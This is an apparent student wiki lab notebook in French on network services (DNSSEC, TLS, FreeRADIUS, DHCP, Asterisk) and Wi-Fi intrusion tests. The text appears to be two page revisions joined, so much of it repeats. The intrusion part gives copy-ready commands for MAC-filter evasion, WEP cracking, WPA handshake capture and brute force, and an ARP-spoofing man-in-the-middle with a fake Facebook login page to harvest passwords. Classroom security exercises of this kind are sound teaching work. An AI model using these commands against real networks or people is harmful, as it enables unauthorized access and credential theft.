Une fois cette étape faite, nous avons configuré bind de manière à rendre notre serveur fonctionnel. 

Nous commençons par ajouter l'option '''dnssec-enable yes;''' dans le fichier '''named.conf.options'''. 

Nous avons ensuite modifié le fichier '''named.conf.local''' de manière à y ajouter notre zone :

zone "delirium.lol" { type master; file "/etc/bind/zones/delirium.lol.db"; allow-transfer { 217.70.177.40; }; notify yes; };

Puis nous générons les clés publiques et privées ksk et zsk dans le dossier '''/etc/bind/delirium.lol.dnssec/''' comme suit :

$ dnssec-keygen -a RSASHA1 -b 2048 -r /dev/urandom -f KSK -n ZONE delirium.lol
$ dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE delirium.lol

Nous renommons les clés de manière à obtenir ceci :

-rw-r--r-- 1 root bind 606 Jan 17 17:11 delirium.lol-ksk.key
-rw------- 1 root bind 1774 Jan 17 17:11 delirium.lol-ksk.private
-rw-r--r-- 1 root bind 433 Jan 17 17:18 delirium.lol-zsk.key
-rw------- 1 root bind 1010 Jan 17 17:12 delirium.lol-zsk.private

Nous avons alors créé notre fichier de zone /etc/bind/zones/delirium.lol.db de manière à ce que toutes les redirections se fassent correctement, 
puis nous y incluons les clés publiques en n'oubliant pas d'incrémenter le numéro de version de la zone ('''Serial''', de la forme AAAAMMJJXX avec XX l'indice de la version pour le jour correspondant) :

$TTL 60480

@ IN SOA ns.delirium.lol. root.delirium.lol. (
2016011706 ; '''Serial'''
86400 ; Refresh
3600 ; Retry
2419200 ; Expire
86400 ) ; Negative Cache TTL

'''$include /etc/bind/delirium.lol.dnssec/delirium.lol-ksk.key'''
'''$include /etc/bind/delirium.lol.dnssec/delirium.lol-zsk.key'''

@ IN NS ns.delirium.lol.
@ IN NS ns6.gandi.net.
ns IN A 193.48.57.170
www IN A 193.48.57.170
god IN A 193.48.57.170
@ IN A 193.48.57.170

Ainsi que notre fichier de reverse DNS /etc/bind/zones/57.48.193in-addr.arpa :

$TTL 604800

@ IN SOA ns.delirium.lol. root.delirium.lol. (
2016011706 ;serial
14400 ;refresh
3600 ;retry
604800 ;expire
10800 ;minimum
)

57.48.193.in-addr.arpa. IN NS ns.delirium.lol.
57.48.193.in-addr.arpa. IN NS ns6.gandi.net.

170 IN PTR delirium.lol.

Dans le fichier resolv.conf, nous avons ajouté l'adresse de notre serveur DNS, ainsi que celle du DNS secondaire appartenant à Gandi :

search delirium.lol nameserver 193.48.57.170 nameserver 217.70.177.40

On se place dans le dossier '''/etc/bind/''', puis on signe les enregistrements de la zone :

$ dnssec-signzone -o delirium.lol -k delirium.lol.dnssec/delirium.lol-ksk zones/delirium.lol.db delirium.lol.dnssec/delirium.lol-zsk

Puis on modifie le fichier '''named.conf.local''' de manière à utiliser la zone signée de suffixe .signed :

zone "delirium.lol" { type master; file "/etc/bind/zones/'''delirium.lol.db.signed'''"; allow-transfer { 217.70.177.40; }; notify yes; };

Une fois ces opérations effectuées nous avons redémarré notre serveur DNS :

/etc/init.d/bind9 restart

[[Fichier:DNS.png]]
 

Il ne reste plus qu'à communiquer la partie publique de la KSK et de la ZSK (présentes dans les fichiers delirium.lol-ksk.key delirium.lol-zsk.key) à notre registrar sur '''gandi.net''' dans la section "gérer DNSSEC". Nous avons alors pu tester la sécurisation de notre DNS et nous avons constaté que [https://www.zonemaster.fr/test/568225ff6498323f cela fonctionne bien].

=== Sécurisation du site par certificat ===

La première étape a été de générer les fichiers delirium.lol.csr et delirium.lol.key avec la commande :

openssl req -new -newkey rsa:2048 -sha256 -nodes -out delirium.lol.csr -keyout delirium.lol.key -subj '/C=FR/CN=delirium.lol'

Une fois ces fichiers générés, nous avons attendu de recevoir le certificat delirium.lol.crt à l'adresse admin@delirium.lol précédemment créée. Nous avons également récupéré le certificat intermédiaire GandiStandardSSLCA2.pem sur le site gandi.net. Une fois tous les certificats récupérés sur notre serveur, nous avons pu commencer la sécurisation d'Apache. 

Dans un premier temps nous avons modifié le fichier /etc/apache2/ports.conf pour y ajouter la ligne Listen 443. Cela permet à Apache d'écouter les connexions sur le port 443 utilisé par le https. Nous avons ensuite copié les certificats .crt et .pem dans le dossier /etc/ssl/certs/ et la clé .key dans /etc/ssl/private/. 

Nous avons ensuite rehash la structure à l'aide de la commande :

c_rehash /etc/ssl/certs

Nous avons alors pu créer un site dédié /etc/apache2/sites-available/000-delirium.lol-ssl et nous l'avons configuré pour qu'il utilise les certificats précédemment obtenus. Nous avons alors activé le site sécurisé avec la commande :

a2ensite 000-domain.tld-ssl

On a alors redémarré Apache pour que ces configurations soient prises en compte. Nous avons alors pu constater que nous accédions bien à notre site à l'adresse [https://delirium.lol https://delirium.lol]

=== Sécurisation Wifi par WPA2-EAP ===

Le but de cette partie est de faire en sorte que l'accès à la borne Wifi soit controlé par WPA2-EAP, en utilisant le serveur '''Freeradius'''.
 
 

Nous commençons d'abord par configurer notre serveur Freeradius de la manière suivante : 
'''Fichier eap.conf''' 
Ajout de
default_eap_type = peap
 
'''Fichier clients.conf'''
 
Ajout de 
client 10.10.10.2 {
# secret and password are mapped through the "secrets" file.
secret = ****
shortname = cl2
# the following three fields are optional, but may be used by
# checkrad.pl for simultaneous usage checks
nastype = livingston
login = root
password = ****
}

client 10.10.10.1 {
# secret and password are mapped through the "secrets" file.
secret = ****
shortname = cl1
# the following three fields are optional, but may be used by
# checkrad.pl for simultaneous usage checks
nastype = livingston
login = root
password = ****
}

=== Configuration du serveur Freeradius en DHCP ===

Nous avons souhaité nous connecter à notre SSID via notre smartphone. Or, il est préférable d'établir une connexion en DHCP. C'est pourquoi nous allons configurer Freeradius pour autoriser les connections DHCP.
 
Nous commençons par installer '''isc-dhcp-server'''
apt-get install isc-dhcp-server
 

On modifie ensuite le fichier '''/etc/dhcp/dhcpd.conf''' :
 
On va assigner aléatoirement une adresse IP en suivant ces instructions :
subnet 172.20.20.0 netmask 255.255.255.0 {
range 172.20.20.10 172.20.20.100;
range 172.20.20.150 172.20.20.200;
}
subnet 172.20.20.0 netmask 255.255.255.0 {
range dynamic-bootp 172.20.20.100 172.20.20.200;
option broadcast-address 172.20.20.254;
option routers 172.20.20.2;
}
On modifie également :
option domain-name "delirium.lol";
option domain-name-servers 193.48.57.48;

Etant donné que nous avons réalisé ces configurations directement sur la VM, il a fallu finalement écrire dans '''/etc/dhcp/dhcp.conf''' :
shared-network local {
subnet 193.48.57.160 netmask 255.255.255.240 {
}
subnet 172.20.20.0 netmask 255.255.255.0 {
range dynamic-bootp 172.20.20.100 172.20.20.200;
option broadcast-address 172.20.20.254;
option routers 172.20.20.0;
}
}

Nous rebootons le serveur avec les commandes
$ /etc/init.d/isc-dhcp-server stop
$ /etc/init.d/isc-dhcp-server start

La sortie est :
[ ok ] Starting isc-dhcp-server (via systemctl): isc-dhcp-server.service.

 Reste ensuite à configurer le routeur situé à l'adresse 10.10.10.252 :

Une fois connecté dessus, dans la config du vlan 20 (notre vlan), on entre la ligne suivante :

Router(config-if)# ip helper-address 10.1.1.1 redundancy vrg1

Nous parvenons à présent à nous connecter sur notre AP '''ssid_Delirium''', mais sans accès internet.

=== Configuration d'un PCBX ===

On a dans un premier temps installé le logiciel Asterisk sur un ordi perso que nous avons ensuite connecté à notre réseau wifi "SSID_Delirium". On a alors modifié le fichier /etc/asterisk/sip.conf pour y ajouter la configuration suivante :

[general]
hasvoicemail = yes
hassip = yes
hasiax = yes
callwaiting = yes
threewaycalling = yes
callwaitingcallerid = yes
transfer = yes
canpark = yes
cancallforward = yes
callreturn = yes
callgroup = 1
pickupgroup = 1
nat = yes

[1001]
type=peer
host=dynamic
dtmfmode=rfc2833
disallow=all
allow=ulaw
fullname = mrcoincoin
username = mrcoincoin
secret = canard
context = work

[1002]
type=peer
host=dynamic
dtmfmode=rfc2833
disallow=all
allow=ulaw
fullname = mrmiaou
username = mrmiaou
secret = chat
context = work

On a ensuite ajouté dans le fichier /etc/asterisk/extensions.conf les lignes suivantes :

[work]
exten => _1XXX,1,Dial(SIP/${EXTEN},20)
exten => _1XXX,2,Hangup()

On télécharge alors l'application CSipSimple pour Android, puis nous connectons les deux téléphones à notre réseau wifi. On configure alors les comptes utilisateur sur chaque téléphone, et on y ajoute l'adresse IP de notre serveur asterisk (ici un PC perso). On a alors réussi à établir une communication VoIP fonctionnelle sur les téléphones.

== Tests d'intrusion ==

=== Cryptage de carte SD ===

Nous avons dans un premier temps récupéré une carte SD et nous l'avons formatté au format FAT32 à l'aide de gparted. Notre carte est donc /dev/mmcblk0p et nous avons donné le nom "tamerlashov" à la partition crée. Nous pouvons alors créer une partition cryptée grâce à la commande :

cryptsetup luksFormat -c aes -h sha256 /dev/mmcblk0p1

Elle est donc encrypté AES SHA-256. Si on le souhaite, on peut afficher ses informations avec la commande :

cryptsetup luksDump /dev/mmcblk0p1

On ouvre ensuite notre partition encryptée en tappant :

cryptsetup luksOpen /dev/mmcblk0p1 tamerlashov

On ajoute alors un système de fichiers à notre partition encryptée avec :

mkfs.ext3 /dev/mapper/tamerlashov

Une fois cette opération effectuée, il est possible de monter la partition pour pouvoir écrire dedans, et de la démonter lorsque tous nos fichier ont été copiés.

mount -t ext3 /dev/mapper/tamerlashov /mnt/
...
umount /mnt/

Pour la ré-encrypter, on utilise alors la commande :

cryptsetup luksClose tamerlashov

Si on veut par la suite accéder au contenu de la carte, il faudra la désencrypter puis la monter, et si on souhaite la re-sécuriser il faudra la ré-encrypter après l'avoir démontée.

=== Changement d'adresse MAC ===

L'objectif de cette partie est de réussir à se connecter au réseau wifi nommé '''"baguette"'''. Ce réseau n'a pas de mot de passe mais est protégé grâce à un filtrage d'adresse MAC. 

Nous avons dans un premier temps essayé de nous connecter directement. On a alors constaté que la connexion était refusée. Pour arriver à nous connecter, nous avons alors changé l'adresse MAC de notre carte WiFi avec ces commandes :

ifconfig wlan3 down ifconfig wlan3 hw ether 00:15:af:e7:19:f3 ifconfig wlan3 up

Une fois l'adresse changée nous avons pu nous connecter facilement au réseau.

=== Cassage de clé WEP ===

L'objectif de cette partie est d'arriver à se connecter à un réseau wifi protégé par une clé WEP. Nous avons choisi d'attaquer le réseau '''"levrette"'''. Dans un premier temps nous avons téléchargé et installé le paquetage '''aircrack-ng'''. Nous avons ensuite branché une clé wifi en usb sur l'ordinateur et nous avons passé cette clé en mode monitoring avec la commande

airmon-ng start wlan3

Cela nous a permis de pouvoir regarder tout le trafic réseau et les points d'accès aux alentours à l'aide de la commande :

airodump-ng wlan3

Une fois notre réseau repéré, nous avons fait en sorte de n'observer que lui avec :

airodump-ng -w out -c 6 --bssid 00:40:F4:95:27:55 wlan3

*L'option -w permet de préciser que les paquets récupérés seront stockés dans un fichier nommé out
*L'option -c permet de préciser que le canal du réseau est le 6
*L'option --bssid nous permet d'observer que le réseau wifi donc l'adresse mac est 00:40:F4:95:27:55

On a alors démarré aireplay-ng de manière à faire une fake authentification sur le réseau wifi :

aireplay-ng -1 30 -a 00:40:F4:95:27:55 --ignore-negative-one wlan3

Cela permet d'associer notre carte WiFi au point d'accès. Si tout se passe correctement on devrait avoir ce message :

Sending Authentication Request (Open System) [ACK] Authentication successful Sending Association Request [ACK] Association successful :-) (AID: 1)

On peut alors commencer l'injection d'ARP avec la commande :

aireplay-ng -3 -x 600 -b 00:40:F4:95:27:55 --ignore-negative-one wlan3

Cette commande permet d'injecter jusqu'à 600 paquets ARP par seconde au point d'accès (option -x 600). Comme nous avions précédemment récupéré le trafic sur le réseau à l'aide d'airodump-ng, tous les paquets sont stockés dans les fichiers out. 

On peut alors lancer aircrack-ng de la manière suivante :

aircrack-ng out-01.cap

Suivant le nombre de paquets reçus, l'attaque a plus ou moins de chances de réussir. Dans notre cas l'attaque a réussi à partir de 20000IVs.

[[Fichier:success.png]]

=== Cassage de clé WPA ===

==== Méthode n°1 ====

L'objectif de cette partie est de craquer une clé d'un réseau wifi protégé en WPA2. Nous allons donc attaquer le réseau "cracotte10". 

Dans un premier temps nous avons passé la carte wifi d'un EeePC en mode monitoring avec la commande :

airmon-ng start wlan0

Nous avons ensuite relevé l'adresse MAC du réseau que nous voulions attaquer pour faire en sorte de ne monitorer que lui, et écrire le résultat de l'attaque dans un fichier avec l'option -w. Nous avons ensuite lancé une désauthentification avec la commande :

aireplay-ng -0 5 -a 04:DA:D2:9C:50:59 -c 00:0F:B5:92:24:51 mon0

Le client connecté va alors être déconnecté et va tenter de se ré-authentifier automatiquement. L'attaque aireplay-ng permet donc de récupérer le handshake lors de la reconnexion. Nous avons alors transféré les fichiers générés sur une zabeth où nous avions préalablement installé aircrack-ng. 

L'étape finale est alors de bruteforce le mot de passe. Dans un premier temps nous avons généré un dictionnaire de mot de passe à l'aide de crunch :

crunch 8 8 0123456789 > dico.txt

Ce dictionnaire comporte tous les mots de passe de 8 caractères contenant uniquement des chiffres. Nous avons ensuite lancé l'attaque sur le fichier .cap en prenant comme paramètre le dictionnaire que nous avons généré.

aircrack-ng *.cap -w dico.txt

Au bout de 57 minutes le bruteforce a enfin aboutit et nous avons trouvé le mot de passe qui est : 12399910

[[Fichier:WPA.png]]

==== Méthode n°2 ====

Nous avons récupéré un fichier .cap, cette fois ci du réseau cracotte01, de la même manière que pour la méthode 1. Cependant, pour accélérer le crack, nous avons utilisé un PC personnel ayant une carte graphique Nvidia (GTX 970m) et équipé du logiciel pyrit, cowpatty ainsi que des outils Nvidia CUDA. Pyrit, utilisant ces outils, permet d'utiliser la carte graphique de l'odinateur en plus du processeur pour générer les hashs du dictionnaire contenant les mots de passe. Cowpatty est quand à lui un logiciel permettant de craquer des clés WPA, mais qui contrairement à aircrack-ng peut prendre des hashs en entrée plutot qu'un dictionnaire en texte clair. 

Nous avons alors pipe le dictionnaire dans pyrit qui dirigait les hash directement en entrée de cowpatty et attendu que le crack de déroule :

crunch 8 8 0123456789 | optirun pyrit -e cracotte01 -i - -o - passthrough | cowpatty -d - -s cracotte01 -r *.cap

Au bout de 242s nous avons alors trouvé la clé WPA du réseau.

[[Fichier:crack_wpa.png]]

Grâce à l'utilisation de la carte graphique, cette méthode est beaucoup plus rapide!

=== Attaque MITM ===

Le principe est le suivant :

Le hackeur vas rediriger le traffic de la victime vers son propre proxy. Cela lui permettra d'intercepter les requêtes vers fr-fr.facebook.com pour les rediriger vers sa propre page "facebook". Cette page sera modifiée de manière à envoyer les données rentrée par la victime non pas en https, mais en http. Cela permet ainsi de pouvoir voir les login et mots de passe en clair. Toutes les autres pages seront juste redirigées de manière transparente pour que la victime ne se doute pas de l'attaque.

La première étape est d'installer et configurer Squid3, le proxy que nous allons utiliser. Nous le configurons le fichier /etc/squid3/squid.conf de la manière suivante :

acl allowedips src 192.168.1.0/24 # ip ou range d'ip à attaquer
http_access allow allowedips
forwarded_for off # Masque notre ip dans le header HTTP
http_access deny all # Empeche les personnes extérieures d'accéder à notre proxy
cache_access_log /var/log/squid3/access.log
cache_log /var/log/squid3/cache.log
cache_store_log /var/log/squid3/store.log
cache_dir ufs /var/spool/squid3 100 16 256
cache_mem 16 MB
maximum_object_size 15 MB
http_port 3129 transparent # Pour rendre le proxy transparent
cache_effective_group root
url_rewrite_program /usr/bin/squidGuard # Intégration de SquidGuard

Nous installons ensuite squidGuard, qui nous permettra de créer des règles de redirections plus fines. En l'occurence rediriger seulement les requêtes vers la page fr-fr.facebook.com. Nous le configurons de la manière suivante :

dbhome /usr/local/squidGuard/db
logdir /usr/local/squidGuard/logs

dest fb-login {
urllist facebook/url
}

acl {
default {
pass !fb-login all
redirect http://127.0.0.1/
}
}

Cela nous permet de rediriger les pages contenues dans le fichier /usr/local/squidGuard/db/facebook/url (ici, fr-fr.facebook.com) vers notre serveur local. On s'occupe alors de générer la base de donnée de squidGuard, puis de lancer squid3 :

squidGuard -C all
service squid3 start

Si on veut vérifier qu'il n'y a pas d'erreurs on peut vérifier les logs :

cat /usr/local/squidGuard/logs/squidGuard.log

Il faut alors configurer les iptables pour gérer la redirection du trafic :

echo 1 > /proc/sys/net/ipv4/ip_forward # Autorise le forwarding ipv4
iptables -A OUTPUT -p icmp --icmp-type 5 -j DROP # Bloque les ICMP 5 envoyés à notre serveur (permet de dissimuler sa présence)
iptables -t nat -A PREROUTING -s <ip du serveur squid3> -p tcp --dport 80 -j ACCEPT # Accepter le trafic entrant sur le serveur Squid3 vers le port 80 sans le rediriger
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 3129 # Redirige le trafic des autres IP à destination d'un port 80 vers le port 3129 de Squid3
iptables -t nat -A POSTROUTING -j MASQUERADE # Remplace l'ip de la cible avec notre propre ip
iptables -t mangle -A PREROUTING -p tcp --dport 3129 -j DROP # Bloque le trafic direct vers le port du serveur Squid3

Une fois ces règles mises en place, on peut spoofer la table ARP de notre victime avec la commande :

arpspoof -i <eth0 -t <ip de la cible> <ip du gateway>

arpspoof permet alors de faire en sorte que le traffic sortant de la victime passe par notre ordinateur plutôt que par le gateway. On le laisse tourner pendant tout le temps de l'attaque, c'est à dire jusqu'à ce qu'on ait récupéré l'identifiant et mot de passe de la cible. 

Cependant pour que la victime ne remarque rien, il faut faire en sorte de récupérer la page d'accueil facebook pour la mettre sur notre serveur apache2. On se positionne donc dans le dossier /var/www/html/ et on exécute la commande suivante pour récupérer la page d'accueil :

wget http://fr-fr.facebook.com/

Une fois cette page récupérée, on modifie alors l'adresse de la requête envoyée pour le login de manière à ce qu'elle soit envoyée non pas en https, mais en http. Cependant après avoir essayé cette méthode on s'aperçoit qu'un script en javascript fait en sorte que la requête se fasse en https malgré qu'on ait changé l'adresse. Il faut alors procéder différement pour arriver à notre fin.

Cahier groupe n°10

2016-01-17T16:13:14Z

Jherin12 : /* Sécurisation par DNSSEC */

== Introduction ==

Le but du Projet de Réseau et Administration (PRA) est dans un premier temps de réaliser une tâche particulière différente pour chaque groupe, puis dans un deuxième temps de traiter une partie commune. Notre tâche consiste à mettre en place un "atelier" permettant d'essayer de craquer des réseaux wifi.

== Crack Wifi ==

=== Objectif ===

Le but de cette tâche est d'installer dans un premier temps Debian sur un ordinateur portable dont l'écran ne s'allume plus, puis dans un deuxième temps de le configurer de manière à pouvoir brancher 8 cartes wifi en USB et les connecter à des SSID différents diffusés par une borne.

=== Réalisation ===

Dans un premier temps nous avons fait des recherches pour savoir quelles méthodes on pouvait utiliser pour installer un PC sans avoir besoin de l'écran, et les deux principales sont :

* Sortir le disque dur du PC portable et le mettre sur une Zabeth, installer Debian sur ce disque, puis le remettre dans l'ordinateur
* Pré-seed une ISO de Debian

Après avoir ouvert l'ordinateur portable, on s'est aperçu que le disque était en réalité un SSD conecté en mSATA. Comme nous ne disposons pas d'adaptateur mSATA vers SATA et que les cartes mères des Zabteh n'ont pas de ports adaptés, nous n'avons pas pu procéder de cette manière. 

Pré-seed une ISO consiste à y ajouter un fichier de configuration qui permet d'activer par défaut le SSH et à communiquer tous les choix demandé à l'utilisateur lors de l'installation du système d'exploitation via le réseau. 

Cependant, avant d'essayer cette deuxième méthode, nous voulions dans un premier temps essayer de démonter le PC et de retirer la carte graphique dédiée. En effet, la génération de processeur dont est équipé cet ordinateur dispose d'un chipset graphique intégré. Ainsi, en retirant la carte graphique dédiée nous espérions que le chipset intégré prenne le relais et ainsi récupérer l'affichage. 

Nous avons alors démonté l'ordinateur pour pouvoir retirer la carte graphique. Nous nous sommes alors aperçu que le chipset Intel intégré prenait bien le relais. Nous avons alors remonté l'ordinateur et ainsi pu procéder à l'installation de Debian Jessie.

==== Installation d'une nouvelle carte graphique ====

Comme une nouvelle carte graphique a été reçue (une Nvidia Quadro M1000), nous avons re-démonté le PC afin de l'installer. Nous avons alors refixé les caloducs et changé la pâte thermique du processeur et de la carte graphique. 
Une fois le PC remonté, nous avons téléchargé le pilote Nvidia officiel, puis nous l'avons installé. Après un reboot de la machine, nous avons pu constater que la carte graphique était bien fonctionnelle.

== Services internet ==

=== Création de la machine virtuelle ===

Nous avons tout d'abord créé une machine virtuelle sur le dom0 du serveur cordouan.insecserv.deule.net. Pour celà nous nous somme connectés en ssh :

ssh root@cordouan.insecserv.deule.net

Puis nous avons créé la VM avec les paramètres suivants :

xen-create-image --hostname=DELIRIUM --dist=jessie --dir=/usr/local/xen --gateway=193.48.57.174 --ip=193.48.57.170

Nous avons ensuite modifié le fichier DELIRIUM.cfg de manière à augmenter la mémoire de notre machine virtuelle à 512MB puis lancé la VM avec la commande suivante :

xl create /etc/xen/DELIRIUM.cfg

Une fois la machine virtuelle démarrée nous avons pu nous y connecter grâce à la commande :

xl console DELIRIUM

=== Préparation de la machine ===

Pour réaliser le TP nous avions besoin d'installer les paquets ssh, apache2 et bind9. 

Après avoir modifié le fichier /etc/ssh/sshd_config de manière à pouvoir se connecter directement en tant que root via le ssh nous avons lancé Apache de manière à ce qu'il fasse tourner un site internet basique. A cette étape, le site était alors accessible via son adresse ip : 193.48.57.170

=== Création du serveur DNS ===

Nous sommes tout d'abord allés sur '''gandi.net''' et nous avons choisi le nom de domaine '''delirium.lol''', qui incluait également un certificat ssl. Une fois le nom de domaine livré, nous sommes allés sur la page de configuration et avons choisi notre serveur comme DNS principal. Nous avons également modifié les glue records afin que '''ns.delirium.lol''' soit associé à l'adresse '''193.48.57.170'''. 
Une fois cette étape faite, nous avons configuré bind de manière à rendre notre serveur fonctionnel. 

Nous commençons par ajouter l'option '''dnssec-enable yes;''' dans le fichier '''named.conf.options'''. 

Nous avons ensuite modifié le fichier '''named.conf.local''' de manière à y ajouter notre zone :

zone "delirium.lol" { type master; file "/etc/bind/zones/delirium.lol.db"; allow-transfer { 217.70.177.40; }; notify yes; };

Puis nous générons les clés publiques et privées ksk et zsk dans le dossier '''/etc/bind/delirium.lol.dnssec/''' comme suit :

$ dnssec-keygen -a RSASHA1 -b 2048 -r /dev/urandom -f KSK -n ZONE delirium.lol
$ dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE delirium.lol

Nous renommons les clés de manière à obtenir ceci :

-rw-r--r-- 1 root bind 606 Jan 17 17:11 delirium.lol-ksk.key
-rw------- 1 root bind 1774 Jan 17 17:11 delirium.lol-ksk.private
-rw-r--r-- 1 root bind 433 Jan 17 17:18 delirium.lol-zsk.key
-rw------- 1 root bind 1010 Jan 17 17:12 delirium.lol-zsk.private

Nous avons alors créé notre fichier de zone /etc/bind/zones/delirium.lol.db de manière à ce que toutes les redirections se fassent correctement, 
puis nous y incluons les clés publiques en n'oubliant pas d'incrémenter le numéro de version de la zone ('''Serial''', de la forme AAAAMMJJXX avec XX l'indice de la version pour le jour correspondant) :

$TTL 60480

@ IN SOA ns.delirium.lol. root.delirium.lol. (
2016011706 ; '''Serial'''
86400 ; Refresh
3600 ; Retry
2419200 ; Expire
86400 ) ; Negative Cache TTL

'''$include /etc/bind/delirium.lol.dnssec/delirium.lol-ksk.key'''
'''$include /etc/bind/delirium.lol.dnssec/delirium.lol-zsk.key'''

@ IN NS ns.delirium.lol.
@ IN NS ns6.gandi.net.
ns IN A 193.48.57.170
www IN A 193.48.57.170
god IN A 193.48.57.170
@ IN A 193.48.57.170

Ainsi que notre fichier de reverse DNS /etc/bind/zones/57.48.193in-addr.arpa :

$TTL 604800

@ IN SOA ns.delirium.lol. root.delirium.lol. (
2016011706 ;serial
14400 ;refresh
3600 ;retry
604800 ;expire
10800 ;minimum
)

57.48.193.in-addr.arpa. IN NS ns.delirium.lol.
57.48.193.in-addr.arpa. IN NS ns6.gandi.net.

170 IN PTR delirium.lol.

Dans le fichier resolv.conf, nous avons ajouté l'adresse de notre serveur DNS, ainsi que celle du DNS secondaire appartenant à Gandi :

search delirium.lol nameserver 193.48.57.170 nameserver 217.70.177.40

On se place dans le dossier '''/etc/bind/''', puis on signe les enregistrements de la zone :

$ dnssec-signzone -o delirium.lol -k delirium.lol.dnssec/delirium.lol-ksk zones/delirium.lol.db delirium.lol.dnssec/delirium.lol-zsk

Puis on modifie le fichier '''named.conf.local''' de manière à utiliser la zone signée de suffixe .signed :

zone "delirium.lol" { type master; file "/etc/bind/zones/'''delirium.lol.db.signed'''"; allow-transfer { 217.70.177.40; }; notify yes; };

Une fois ces opérations effectuées nous avons redémarré notre serveur DNS :

/etc/init.d/bind9 restart

[[Fichier:DNS.png]]
 

Il ne reste plus qu'à communiquer la partie publique de la KSK et de la ZSK (présentes dans les fichiers delirium.lol-ksk.key delirium.lol-zsk.key) à notre registrar sur '''gandi.net''' dans la section "gérer DNSSEC". Nous avons alors pu tester la sécurisation de notre DNS et nous avons constaté que [https://www.zonemaster.fr/test/568225ff6498323f cela fonctionne bien].

=== Sécurisation du site par certificat ===

La première étape a été de générer les fichiers delirium.lol.csr et delirium.lol.key avec la commande :

openssl req -new -newkey rsa:2048 -sha256 -nodes -out delirium.lol.csr -keyout delirium.lol.key -subj '/C=FR/CN=delirium.lol'

Une fois ces fichiers générés, nous avons attendu de recevoir le certificat delirium.lol.crt à l'adresse admin@delirium.lol précédemment créée. Nous avons également récupéré le certificat intermédiaire GandiStandardSSLCA2.pem sur le site gandi.net. Une fois tous les certificats récupérés sur notre serveur, nous avons pu commencer la sécurisation d'Apache. 

Dans un premier temps nous avons modifié le fichier /etc/apache2/ports.conf pour y ajouter la ligne Listen 443. Cela permet à Apache d'écouter les connexions sur le port 443 utilisé par le https. Nous avons ensuite copié les certificats .crt et .pem dans le dossier /etc/ssl/certs/ et la clé .key dans /etc/ssl/private/. 

Nous avons ensuite rehash la structure à l'aide de la commande :

c_rehash /etc/ssl/certs

Nous avons alors pu créer un site dédié /etc/apache2/sites-available/000-delirium.lol-ssl et nous l'avons configuré pour qu'il utilise les certificats précédemment obtenus. Nous avons alors activé le site sécurisé avec la commande :

a2ensite 000-domain.tld-ssl

On a alors redémarré Apache pour que ces configurations soient prises en compte. Nous avons alors pu constater que nous accédions bien à notre site à l'adresse [https://delirium.lol https://delirium.lol]

=== Sécurisation Wifi par WPA2-EAP ===

Le but de cette partie est de faire en sorte que l'accès à la borne Wifi soit controlé par WPA2-EAP, en utilisant le serveur '''Freeradius'''.
 
 

Nous commençons d'abord par configurer notre serveur Freeradius de la manière suivante : 
'''Fichier eap.conf''' 
Ajout de
default_eap_type = peap
 
'''Fichier clients.conf'''
 
Ajout de 
client 10.10.10.2 {
# secret and password are mapped through the "secrets" file.
secret = ****
shortname = cl2
# the following three fields are optional, but may be used by
# checkrad.pl for simultaneous usage checks
nastype = livingston
login = root
password = ****
}

client 10.10.10.1 {
# secret and password are mapped through the "secrets" file.
secret = ****
shortname = cl1
# the following three fields are optional, but may be used by
# checkrad.pl for simultaneous usage checks
nastype = livingston
login = root
password = ****
}

=== Configuration du serveur Freeradius en DHCP ===

Nous avons souhaité nous connecter à notre SSID via notre smartphone. Or, il est préférable d'établir une connexion en DHCP. C'est pourquoi nous allons configurer Freeradius pour autoriser les connections DHCP.
 
Nous commençons par installer '''isc-dhcp-server'''
apt-get install isc-dhcp-server
 

On modifie ensuite le fichier '''/etc/dhcp/dhcpd.conf''' :
 
On va assigner aléatoirement une adresse IP en suivant ces instructions :
subnet 172.20.20.0 netmask 255.255.255.0 {
range 172.20.20.10 172.20.20.100;
range 172.20.20.150 172.20.20.200;
}
subnet 172.20.20.0 netmask 255.255.255.0 {
range dynamic-bootp 172.20.20.100 172.20.20.200;
option broadcast-address 172.20.20.254;
option routers 172.20.20.2;
}
On modifie également :
option domain-name "delirium.lol";
option domain-name-servers 193.48.57.48;

Etant donné que nous avons réalisé ces configurations directement sur la VM, il a fallu finalement écrire dans '''/etc/dhcp/dhcp.conf''' :
shared-network local {
subnet 193.48.57.160 netmask 255.255.255.240 {
}
subnet 172.20.20.0 netmask 255.255.255.0 {
range dynamic-bootp 172.20.20.100 172.20.20.200;
option broadcast-address 172.20.20.254;
option routers 172.20.20.0;
}
}

Nous rebootons le serveur avec les commandes
$ /etc/init.d/isc-dhcp-server stop
$ /etc/init.d/isc-dhcp-server start

La sortie est :
[ ok ] Starting isc-dhcp-server (via systemctl): isc-dhcp-server.service.

 Reste ensuite à configurer le routeur situé à l'adresse 10.10.10.252 :

Une fois connecté dessus, dans la config du vlan 20 (notre vlan), on entre la ligne suivante :

Router(config-if)# ip helper-address 10.1.1.1 redundancy vrg1

Nous parvenons à présent à nous connecter sur notre AP '''ssid_Delirium''', mais sans accès internet.

=== Configuration d'un PCBX ===

On a dans un premier temps installé le logiciel Asterisk sur un ordi perso que nous avons ensuite connecté à notre réseau wifi "SSID_Delirium". On a alors modifié le fichier /etc/asterisk/sip.conf pour y ajouter la configuration suivante :

[general]
hasvoicemail = yes
hassip = yes
hasiax = yes
callwaiting = yes
threewaycalling = yes
callwaitingcallerid = yes
transfer = yes
canpark = yes
cancallforward = yes
callreturn = yes
callgroup = 1
pickupgroup = 1
nat = yes

[1001]
type=peer
host=dynamic
dtmfmode=rfc2833
disallow=all
allow=ulaw
fullname = mrcoincoin
username = mrcoincoin
secret = canard
context = work

[1002]
type=peer
host=dynamic
dtmfmode=rfc2833
disallow=all
allow=ulaw
fullname = mrmiaou
username = mrmiaou
secret = chat
context = work

On a ensuite ajouté dans le fichier /etc/asterisk/extensions.conf les lignes suivantes :

[work]
exten => _1XXX,1,Dial(SIP/${EXTEN},20)
exten => _1XXX,2,Hangup()

On télécharge alors l'application CSipSimple pour Android, puis nous connectons les deux téléphones à notre réseau wifi. On configure alors les comptes utilisateur sur chaque téléphone, et on y ajoute l'adresse IP de notre serveur asterisk (ici un PC perso). On a alors réussi à établir une communication VoIP fonctionnelle sur les téléphones.

== Tests d'intrusion ==

=== Cryptage de carte SD ===

Nous avons dans un premier temps récupéré une carte SD et nous l'avons formatté au format FAT32 à l'aide de gparted. Notre carte est donc /dev/mmcblk0p et nous avons donné le nom "tamerlashov" à la partition crée. Nous pouvons alors créer une partition cryptée grâce à la commande :

